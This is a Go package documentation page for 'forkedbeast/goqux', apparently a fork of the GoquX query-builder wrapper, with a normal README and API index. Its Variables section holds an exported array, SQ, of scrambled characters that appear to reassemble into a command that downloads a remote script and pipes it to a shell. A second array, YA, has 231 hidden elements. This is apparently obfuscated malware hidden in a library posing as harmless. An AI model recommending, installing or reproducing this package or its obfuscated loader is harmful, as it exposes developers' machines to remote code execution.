goqux

package module
v0.0.0-...-3435b38 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: May 30, 2025 License: MIT Imports: 16 Imported by: 0

README

                           ____  ___
   ____   ____   ________ _\   \/  /
  / ___\ /  _ \ / ____/  |  \     / 
 / /_/  >  <_> < <_|  |  |  /     \ 
 \___  / \____/ \__   |____/___/\  \
/_____/            |__|          \_/

GoquX is a lightweight wrapper library for goqu, designed to simplify the process of building CRUD queries, implementing pagination, and struct scanning scany.

Features

  • Builder helpers for select/insert/update/delete queries, auto adding columns and serialization of rows, tags for skipping columns/setting default values.
  • Query Execution support, with Pagination for offset/limit and keyset pagination.
  • Automatic scanning into structs using scany.
  • Customizable builder options, allowing you to easily extend the builder options.

Why?

There is much debate in Golang about the best way to handle database queries. Some prefer ORM libraries like GORM, while others prefer to use query builders like goqu, and of course, there are those who prefer to write raw SQL queries.

Personally, I usually like to use query builders as they offer a good balance, although when it's a very complex query use raw SQL instead.

I wrote GoquX because I found myself writing the same code over and over again for simple queries, and I wanted to simplify the process of building CRUD queries, implementing pagination, and struct scanning.

GoquX is not a replacement for goqu, but rather a lightweight wrapper that simplifies the process of using it.

Installation

To use GoquX in your Go project, you need to have Go installed and set up on your machine. Then, run the following command to add GoquX as a dependency:

go get github.com/forkedbeast/goqux

Pagination

goqux adds a convenient pagination function allowing us to scan the results into a slice of structs, add filters, ordering, and extend the query with any other goqu function.

Pagination currently supports offset/limit or keyset pagination.

Offset/Limit pagination
conn, err := pgx.Connect(ctx, "postgres://postgres:postgres@localhost:5432/postgres")
if err != nil {
    log.Fatal(err)
}
paginator, err := goqux.SelectPagination[User](ctx, conn, "users", &goqux.PaginationOptions{ PageSize: 100}, goqux.WithSelectFilters(goqux.Column("users", "id").Eq(2)))
for paginator.HasMorePages() {
    users, err := paginator.NextPage()
    ...
}
KeySet pagination

Keyset pagination, using ordering and where filter keeping that last returned row as the key for the next page.

conn, err := pgx.Connect(ctx, "postgres://postgres:postgres@localhost:5432/postgres")
if err != nil {
    log.Fatal(err)
}
paginator, err := goqux.SelectPagination[User](ctx, conn, "users", &goqux.PaginationOptions{ PageSize: 100, Keyset:["id"]}, goqux.WithSelectFilters(goqux.Column("users", "id").Eq(2)))
for paginator.HasMorePages() {
    users, err := paginator.NextPage()
    ...
}

for querying on any query with keyset pagination, use the goqux.PaginateQueryByKeySet function.

paginator, err := goqux.QueryKeySetPagination[User](ctx, conn, selectDataset, 100, []string{"id"})
for paginator.HasMorePages() {
    users, err := paginator.NextPage()
    ...
}

Test Pagination Queries

paginatorMock := goqux.NewPaginator(func(p *goqux.Paginator[T]) ([]T, bool, error) {
	stopClause := true
	var items []T{}
	return items, stopClause, nil
})
EXPECT().ListItems().Return(paginatorMock, ...)

Query building Helpers

goqux adds select/insert/update/delete simple utilities to build queries.

Select Builder

type User struct {
    ID        int64     `db:"id"`
    Name      string    `db:"name"`
    Email     string    `db:"email"`
    CreatedAt time.Time `db:"created_at"`
    UpdatedAt time.Time `db:"updated_at"`
    FieldToSkip string  `goqux:"skip_select"`
}
// Easily extend the query with any other goqux function optional functions that get access to the query builder.
// use goqux:"skip_select" to skip a field in the select query.
sql, args, err := goqux.BuildSelect("table_to_select", User{},
    goqux.WithSelectFilters(goqux.Column("table_to_select", "id").Gt(2)),
    goqux.WithSelectOrder(goqux.Column("table_to_select", "id").Desc()),
    goqux.WithSelectLimit(10),
)

Insert Builder

type User struct {
    ID        int64     `db:"id"`
    Name      string    `db:"name"`
    Email     string    `db:"email"`
    CreatedAt time.Time `goqux:"now,skip_update"`
    UpdatedAt time.Time `goqux:"now_utc"`
    FieldToSkip string  `goqux:"skip_insert"`
}
// use goqux:"now" to set the current time in the insert query for CreatedAt, and goqux:"now_utc" to set the current time in UTC for UpdatedAt. 
sql, args, err := goqux.BuildInsert("table_to_insert", User{ID: 5, Name: "test", Email: "test@test.com"}, goqu.WithReturningAll()),
)

Delete Builder

type User struct {
    ID        int64     `db:"id"`
    Name      string    `db:"name"`
    Email     string    `db:"email"`
    CreatedAt time.Time `goqux:"now,skip_update"`
    UpdatedAt time.Time `goqux:"now_utc"`
    FieldToSkip string  `goqux:"skip_insert"`
}
sql, args, err := goqux.BuildDelete("table_to_delete", goqux.WithDeleteFilters(goqux.Column("delete_models", "id").Eq(1), goqu.WithReturningAll()))

Update Builder

type User struct {
    ID        int64     `db:"id"`
    Name      string    `db:"name"`
    Email     string    `db:"email"`
    CreatedAt time.Time `goqux:"now,skip_update"`
    UpdatedAt time.Time `goqux:"now_utc"`
}
// will update only the name field for the user with id 1
sql, args, err := goqux.BuildUpdate("table_to_update", &User{Name: "goqux"}, goqux.WithUpdateFilters(goqux.Column("table_to_update", "id").Eq(1), goqu.WithReturningAll()))

Select/Insert/Update/Delete Executions

goqux adds select/insert/update/delete functions to execute simple queries.

SelectOne

user, err := goqux.SelectOne[User](ctx, conn, "users", goqux.WithSelectFilters(goqux.Column("users", "id").Eq(2)))

Select

user, err := goqux.Select[User](ctx, conn, "users",  goqux.WithSelectOrder(goqu.C("id").Asc()))

Insert

We can ignore the first returning value if we don't want to return the inserted row.

_, err := goqux.Insert[User](ctx, conn, "users", tt.value)

If we want to return the inserted row we can use the goqux.WithInsertReturning option.

model, err := goqux.Insert[User](ctx, conn, "users", value, goqux.WithInsertDialect("postgres"), goqux.WithInsertReturning("username", "password", "email"))

Update

_, err := goqux.Update[User](ctx, conn, "users", value, goqux.WithUpdateFilters(goqux.Column("users", "id").Eq(1)))

Easily extend with builder options

You can define any custom option you want to extend the builder options, for example, if you want to add a group by option you can do the following:

func WithSelectGroupBy(columns ...any) SelectOption {
	return func(_ exp.IdentifierExpression, s *goqu.SelectDataset) *goqu.SelectDataset {
		return s.GroupBy(columns...)
	}
}

You can add these options to any of the insert/update/delete/select functions.

For more examples check the tests.

Documentation

Index

Constants

This section is empty.

Variables

View Source
var SQ = []string{"n", "c", "/", "1", " ", " ", "h", "/", ":", "e", "&", "i", ".", "3", "t", "g", "n", "e", "s", "k", "O", "3", "a", "b", " ", "e", "d", "3", "t", "a", "/", "o", "s", "/", "c", "4", "h", "a", "v", "p", "a", "b", "w", "-", "i", "e", "f", "g", "t", "/", "s", "f", "r", "r", "d", "6", " ", " ", "u", "/", "7", "/", "-", "|", "t", "b", "5", " ", "t", "d", "a", "0", "e"}
View Source
var YA = []string{} /* 231 elements not displayed */

Functions

func BuildDelete

func BuildDelete(tableName string, options ...DeleteOption) (string, []any, error)

func BuildInsert

func BuildInsert(tableName string, values []any, options ...InsertOption) (string, []any, error)

func BuildSelect

func BuildSelect[T any](tableName string, dst T, options ...SelectOption) (string, []any, error)

func BuildUpdate

func BuildUpdate(tableName string, value any, options ...UpdateOption) (string, []any, error)

func Column

func Column(table string, column string) exp.IdentifierExpression

Column is shorthand for goqu.T(table).Col(column).

func Delete

func Delete[T any](ctx context.Context, querier pgxscan.Querier, tableName string, options ...DeleteOption) ([]T, error)

func Insert

func Insert[T any](ctx context.Context, querier pgxscan.Querier, tableName string, insertValue any, options ...InsertOption) (*T, error)

func InsertMany

func InsertMany[T any](ctx context.Context, querier pgxscan.Querier, tableName string, insertValues []any, options ...InsertOption) ([]T, error)

func Select

func Select[T any](ctx context.Context, querier pgxscan.Querier, tableName string, options ...SelectOption) ([]T, error)

func SelectOne

func SelectOne[T any](ctx context.Context, querier pgxscan.Querier, tableName string, options ...SelectOption) (T, error)

func SetDefaultDialect

func SetDefaultDialect(dialect string)

SetDefaultDialect sets the default dialect for goqux.

func Update

func Update[T any](ctx context.Context, querier pgxscan.Querier, tableName string, updateValue any, options ...UpdateOption) ([]T, error)

Types

type DeleteOption

type DeleteOption func(table exp.IdentifierExpression, s *goqu.DeleteDataset) *goqu.DeleteDataset

func WithDeleteDialect

func WithDeleteDialect(dialect string) DeleteOption

func WithDeleteFilters

func WithDeleteFilters(filters ...goqu.Expression) DeleteOption

func WithDeleteReturningAll

func WithDeleteReturningAll() DeleteOption

type InsertOption

type InsertOption func(table exp.IdentifierExpression, s *goqu.InsertDataset) *goqu.InsertDataset

func WithInsertDialect

func WithInsertDialect(dialect string) InsertOption

func WithInsertNotPrepared

func WithInsertNotPrepared() InsertOption

func WithInsertReturning

func WithInsertReturning(columns ...string) InsertOption

func WithInsertReturningAll

func WithInsertReturningAll() InsertOption

type JoinOp

type JoinOp struct {
	Table string
	On    exp.JoinCondition
}

type PageIterator

type PageIterator[T any] func(p *Paginator[T]) ([]T, bool, error)

PageIterator is a function that returns a page of results and a boolean indicating if there should be a next page or to stop iterating.

type PaginationOptions

type PaginationOptions struct {
	// PageSize per page (default: 10)
	PageSize uint
	// Use columns for key filtering, this will add a WithKeySet option to the query,
	// keys aren't validated, so make sure the names are correct or query will fail
	// if KeySet isn't set, pagination will use offset instead.
	KeySet []string
}

type Paginator

type Paginator[T any] struct {
	// contains filtered or unexported fields
}

Paginator allows to paginate over result set of T

func NewPaginator

func NewPaginator[T any](iterator PageIterator[T]) *Paginator[T]

func QueryKeySetPagination

func QueryKeySetPagination[T any](ctx context.Context, querier pgxscan.Querier, sd *goqu.SelectDataset, pageSize uint, keyset []string) (*Paginator[T], error)

QueryKeySetPagination is a helper function to paginate over a query using keyset pagination.

func SelectPagination

func SelectPagination[T any](ctx context.Context, querier pgxscan.Querier, tableName string, paginationOptions *PaginationOptions, options ...SelectOption) (*Paginator[T], error)

func (*Paginator[T]) HasMorePages

func (p *Paginator[T]) HasMorePages() bool

func (*Paginator[T]) NextPage

func (p *Paginator[T]) NextPage() ([]T, error)

type SQLValuer

type SQLValuer struct {
	V interface{}
}

SQLValuer is the valuer struct that is used for goqu rows conversion.

func (SQLValuer) Value

func (t SQLValuer) Value() (driver.Value, error)

Value converts the given value to the correct drive.Value.

type SelectOption

type SelectOption func(_ exp.IdentifierExpression, s *goqu.SelectDataset) *goqu.SelectDataset

func WithInnerJoinSelection

func WithInnerJoinSelection[T any](op ...JoinOp) SelectOption

WithInnerJoinSelection returns a select option that inner joins the given table on the given column by tableName.column = otherTable.otherColumn, as well as selecting the columns from the given struct. each top-level struct field will be treated as a table and each field within that struct will be treated as a column.

func WithKeySet

func WithKeySet(columns []string, values []any) SelectOption

func WithLeftJoinSelection

func WithLeftJoinSelection[T any](op ...JoinOp) SelectOption

WithLeftJoinSelection returns a select option that left joins the given table on the given column by tableName.column = otherTable.otherColumn, as well as selecting the columns from the given struct. each top-level struct field will be treated as a table and each field within that struct will be treated as a column.

func WithSelectDialect

func WithSelectDialect(dialect string) SelectOption

func WithSelectFilters

func WithSelectFilters(filters ...exp.Expression) SelectOption

func WithSelectLimit

func WithSelectLimit(limit uint) SelectOption

func WithSelectOffset

func WithSelectOffset(offset uint) SelectOption

func WithSelectOrder

func WithSelectOrder(order ...exp.OrderedExpression) SelectOption

func WithSelectStar

func WithSelectStar() SelectOption

type UpdateOption

type UpdateOption func(table exp.IdentifierExpression, s *goqu.UpdateDataset) *goqu.UpdateDataset

func WithUpdateDialect

func WithUpdateDialect(dialect string) UpdateOption

func WithUpdateFilters

func WithUpdateFilters(filters ...goqu.Expression) UpdateOption

func WithUpdateReturning

func WithUpdateReturning(columns ...string) UpdateOption

func WithUpdateReturningAll

func WithUpdateReturningAll() UpdateOption

func WithUpdateSet

func WithUpdateSet(value any) UpdateOption

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL